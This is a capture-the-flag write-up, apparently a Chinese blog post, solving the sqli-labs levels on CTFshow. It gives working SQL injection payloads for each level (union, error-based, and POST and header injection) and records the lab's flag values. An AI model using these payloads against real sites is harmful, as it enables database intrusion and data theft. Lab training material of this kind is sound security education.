前言
- 题目是CTFshow-web入门中的sqlilab分栏
- 题目有在原靶场基础上加入flag
- flag不在当前数据库中,利用
-1' union select 1,2,(select group_concat(schema_name) from information_schema.schemata)-- qwe
可以看到名为ctfshow
的数据库,flag在这里边
Less1
- 字符型注入
直接放payload了
1 | id=-1'union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='ctfshow'-- qwe |
Less2
- 数字型注入
1 | id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='ctfshow'-- qwe |
Less3
- 闭合方式
1 | id=-1') union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='ctfshow'-- qwe |
Less4
- 闭合方式
1 | id=-1") union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='ctfshow'-- qwe |
Less5
- 报错注入
1 | id=-1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='ctfshow')),1)-- qwe |
Less6
- 闭合方式
1 | id=-1" and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='ctfshow')),1)-- qwe |
Less7
- 写文件+闭合方式
但我在这题一直写不进去,就干脆布尔盲注了
1 | import requests |
Less8
- 布尔盲注
和上题一样,改改payload就行
1 | import requests |
Less9
- 时间盲注
因为时间盲注本来就不稳定,跑一次还行不通,我跑了两次综合一下才得出的
ctfshow{24bee26a-d0ec-4082-a79e-aa9312669a-a} //第一次
ctfshow{24bee26a-d0ec-4082-a79e-a!9312669a1a} //第二次
ctfshow{24bee26a-d0ec-4082-a79e-aa9312669a1a} //最终正确的
1 | import requests |
Less10
- 闭合方式
换成双引号闭合即可
Less11
- POST的联合注入
1 | passwd=1'union select 1,group_concat(table_name) from information_schema.tables where table_schema='ctfshow'-- qwe&submit=Submit&uname=bilala |
Less12
- 闭合方式
双引号加括号闭合,剩下同上
Less13
- POST报错
1 | passwd=1') and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='ctfshow')),1)-- qwe&submit=Submit&uname=bilala |
Less14
- 闭合方式
同上,改为双引号闭合
Less15
- POST布尔盲注
1 | import requests |
Less16
- 时间盲注,
")
闭合
1 | import requests |
Less17
- 报错注入
同less13,改闭合方式为'
Less18
- HEAD注入(user-agent)
利用ua进行报错注入,前提是要先登录成功,同时最后的注释方式也要换一下
1 | ua: 'and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='ctfshow')),1) and '1'='1 |
Less19
- HEAD注入(referer)
同上,改referer字段即可
Less20
- HAED注入(cookie)
同上,改cookie字段为uname=payload
至于为什么要用uname为键名,那只能看看源码了